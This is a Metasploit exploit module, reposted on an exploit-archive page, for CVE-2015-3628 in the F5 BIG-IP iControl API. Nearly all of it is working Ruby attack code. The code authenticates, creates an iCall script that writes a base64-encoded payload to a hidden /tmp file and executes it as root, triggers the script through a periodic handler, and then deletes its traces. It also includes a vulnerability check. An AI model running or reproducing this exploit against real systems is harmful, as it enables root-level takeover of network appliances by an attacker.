Home / exploits

PDF

F5 iControl iCall::Script Root Command Execution

Posted on 19 November 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
 STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
 LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }

 def initialize(info = {})
 super(
 update_info(
 info,
 'Name' => "F5 iControl iCall::Script Root Command Execution",
 'Description' => %q{
 This module exploits an authenticated privilege escalation
 vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
 other F5 devices). This requires valid credentials and the Resource
 Administrator role. The exploit should work on BIG-IP 11.3.0
 - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
 for more details)
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'tom', # Discovery, Metasploit module
 'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
 ],
 'References' =>
 [
 ['CVE', '2015-3628'],
 ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
 ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
 ],
 'Platform' => ['unix'],
 'Arch' => ARCH_CMD,
 'Targets' =>
 [
 ['F5 BIG-IP LTM 11.x', {}]
 ],
 'Privileged' => true,
 'DisclosureDate' => "Sep 3 2015",
 'DefaultTarget' => 0))

 register_options(
 [
 Opt::RPORT(443),
 OptBool.new('SSL', [true, 'Use SSL', true]),
 OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
 OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
 OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
 ])
 register_advanced_options(
 [
 OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
 OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
 OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
 OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
 ])
 end

 def setup
 file = datastore['FILENAME']
 file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
 @payload_path = ::File.join(datastore['PATH'], file)
 super
 end

 def build_xml
 builder = Nokogiri::XML::Builder.new do |xml|
 xml.Envelope do
 xml = xml_add_namespaces(xml)
 xml['soapenv'].Header
 xml['soapenv'].Body do
 yield xml
 end
 end
 end
 builder.to_xml
 end

 def xml_add_namespaces(xml)
 ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
 xml.doc.root.namespace = ns
 xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
 xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
 xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
 xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
 xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
 xml
 end

 def send_soap_request(pay)
 res = send_request_cgi(
 'uri' => normalize_uri(target_uri.path),
 'method' => 'POST',
 'data' => pay,
 'username' => datastore['USERNAME'],
 'password' => datastore['PASSWORD']
 )
 if res
 return res
 else
 vprint_error('No response')
 end
 false
 end

 def create_script(name, cmd)
 create_xml = build_xml do |xml|
 xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
 xml.scripts(STRING_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 xml.item name
 end
 xml.definitions(STRING_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 xml.item cmd
 end
 end
 end
 send_soap_request(create_xml)
 end

 def delete_script(script_name)
 delete_xml = build_xml do |xml|
 xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
 xml.scripts(STRING_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 xml.item script_name
 end
 end
 end
 print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
 res
 end

 def script_exists?(script_name)
 exists_xml = build_xml do |xml|
 xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
 end
 res = send_soap_request(exists_xml)
 res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
 end

 def create_handler(handler_name, script_name)
 print_status("Creating trigger #{handler_name}")
 handler_xml = build_xml do |xml|
 xml['per'].create(SOAPENV_ENCODINGSTYLE) do
 xml.handlers(STRING_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 xml.item handler_name
 end
 xml.scripts(STRING_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 xml.item script_name
 end
 xml.intervals(LONG_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 # we set this to run once every 24h, but because there is no
 # start/end time it will run once, more or less immediately, and
 # again 24h from now, but by that point hopefully we will have
 # cleaned up and the handler/script/etc are gone
 xml.item 60 * 60 * 24
 end
 end
 end
 res = send_soap_request(handler_xml)
 if res
 if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
 true
 else
 print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
 false
 end
 else
 print_error("No response to trigger creation")
 false
 end
 end

 def delete_handler(handler_name)
 delete_xml = build_xml do |xml|
 xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
 xml.handlers(STRING_ATTRS) do
 xml.parent.namespace = xml.parent.parent.namespace_definitions.first
 xml.item handler_name
 end
 end
 end

 print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
 res
 end

 def handler_exists?(handler_name)
 handler_xml = build_xml do |xml|
 xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
 end
 res = send_soap_request(handler_xml)
 res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
 end

 def check
 # strategy: we'll send a create_script request, with empty name:
 # if everything is ok, the server return a 500 error saying it doesn't like empty names
 # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
 # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
 # any other response is considered not vulnerable
 res = create_script('', '')
 if res && res.code == 500 && res.body =~ /path is empty/
 return Exploit::CheckCode::Appears
 elsif res && res.code == 401
 print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
 return Exploit::CheckCode::Unknown
 else
 return Exploit::CheckCode::Safe
 end
 end

 def exploit
 # phase 1: create iCall script to create file with payload, execute it and remove it.
 shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
 cmd = %(exec /bin/sh -c "#{shell_cmd}")

 arg_max = datastore['ARG_MAX']
 if shell_cmd.size > arg_max
 print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "
 "or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
 return false
 end

 script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
 print_status("Uploading payload script #{script_name}")
 unless (create_script_res = create_script(script_name, cmd))
 print_error("No response when uploading payload script")
 return false
 end
 unless create_script_res.code == 200
 print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "
 "#{create_script_res.code} #{create_script_res.message}")
 return false
 end
 unless script_exists?(script_name)
 print_error("Payload script uploaded successfully but script was not found")
 return false
 end
 register_file_for_cleanup @payload_path

 # phase 2: create iCall Handler, that will actually run the previously created script
 handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
 unless create_handler(handler_name, script_name)
 delete_script(script_name)
 return false
 end
 unless handler_exists?(handler_name)
 print_error("Trigger created successfully but was not found")
 delete_script(script_name)
 return false
 end
 print_status('Waiting for payload to execute...')

 # if our payload has not been successfully executed just yet, wait
 # until it does or give up
 slept = 0
 until session_created? || slept > datastore['SESSION_WAIT']
 Rex.sleep(1)
 slept += 1
 end

 print_status('Trying cleanup...')
 delete_script(script_name)
 delete_handler(handler_name)
 end
end

 

TOP